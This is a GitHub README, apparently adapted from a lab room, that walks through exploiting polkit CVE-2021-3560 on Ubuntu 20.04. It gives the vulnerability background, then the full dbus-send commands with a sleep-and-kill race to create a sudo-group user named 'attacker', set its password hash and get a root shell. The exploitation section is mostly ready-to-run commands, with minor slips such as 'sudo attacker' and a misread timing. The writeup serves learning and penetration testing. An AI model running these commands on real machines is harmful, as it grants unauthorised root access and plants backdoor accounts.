Skip to content

AssassinUKG/Polkit-CVE-2021-3560

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 

Repository files navigation

Polkit-CVE-2021-3560

Background

In early 2021 a researcher named Kevin Backhouse discovered a seven year old privilege escalation vulnerability (since designated CVE-2021-3560) in the Linux polkit utility. Fortunately, different distributions of Linux (and even different versions of the same distributions) use different versions of the software, meaning that only some are vulnerable.

Specifically, the following mainstream distributions, amongst others, were vulnerable:

Red Hat Enterprise Linux 8 Fedora 21 (or later) Debian Testing ("Bullseye") Ubuntu 20.04 LTS ("Focal Fossa") All should now have released patched versions of their respective polkit packages, however, if you encounter one of these distributions then it may still be vulnerable if it hasn't been updated for a while.

For this room we will be focussing specifically on Ubuntu 20.04. Canonical released a patch for their version of polkit (policykit-1), which has version number 0.105-26ubuntu1.1. The last vulnerable version available in the apt repositories for Focal Fossa is 0.105-26ubuntu1, so, if you see this, you may be in luck!

We can use apt list --installed | grep policykit-1 to check the installed version of polkit:

What is Polkit?

The logical question to be asking right now is: "What is polkit?"

Polkit is part of the Linux authorisation system. In effect, when you try to perform an action which requires a higher level of privileges, the policy toolkit can be used to determine whether you have the requisite permissions. It is integrated with systemd and is much more configurable than the traditional sudo system. Indeed, it is sometimes referred to as the "sudo of systemd".

Vunerability

  • The attacker manually sends a dbus message to the accounts-daemon requesting the creation of a new account with sudo permissions (or latterly, a password to be set for the new user). This message gets given a unique ID by the dbus-daemon.
  • The attacker kills the message after polkit receives it, but before polkit has a chance to process the message. This effectively destroys the unique message ID.
  • Polkit asks the dbus-daemon for the user ID of the user who sent the message, referencing the (now deleted) message ID.
  • The dbus-daemon can't find the message ID because we killed it in step two. It handles the error by responding with an error code.
  • Polkit mishandles the error and substitutes in 0 for the user ID -- i.e. the root account of the machine.
  • Thinking that the root user requested the action, polkit allows the request to go through unchallenged.

Exploitation

  • First dbus message
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

This command will manually send a dbus message to the accounts daemon, printing the response and creating a new user called attacker (string:attacker) with a description of "Pentester Account" (string:"Pentester Account") and membership of the sudo group set to true (referenced by theint32:1 flag).

  • Second message
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'

This once again sends a dbus message to the accounts daemon, requesting a password change for the user with an ID which we specify (shown in red), a password hash which we need to generate manually, and a hint ("Ask the pentester")

As this is effectively a race condition, we first need to determine how long our command will take to run. Let's try this with the first dbus message: time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

eg:

real 0m0.11s
user 0m0.002s
sys  0m0000s

This takes 0.011 seconds, or 11 milliseconds. This number will be slightly different each time you run the command; however, on the provided machine it should always be around this number.

We need to kill the command approximately halfway through execution. Five milliseconds usually works fairly well on the provided machine; however, be aware that this is not an exact thing. You may need to change the sleep time, or run the command several times before it works. That said, once you find a time that works, it should work consistently. If you are struggling to get a working time, putting the command inside a bash for loop and quickly running through a range of times tends to work fairly well.

Let's try this. We need to send the dbus message, then kill it about halfway through:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!

To explain the above command, we sent the dbus message in a background job (using the ampersand to background the command). We then told it to sleep for 5 milliseconds (sleep 0.005s), then kill the previous process ($!). This successfully created the new user, adding them into the sudo group. We should note down at this point that the user ID of the new user in this instance is 1000.

id attacker

Now all we need to do is give the user a password and we should be good to go!

We need a password hash here, so let's generate a Sha512Crypt hash for our chosen password (Expl01ted): openssl passwd -6 Expl01ted

Using openssl, we generate a password of type 6 (SHA512-crypt) and our plaintext password (Expl01ted).

Now let's finish this! 5 milliseconds worked last time, so it should work here too:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
sudo attacker
sudo -l
sudo -s

Reference

https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published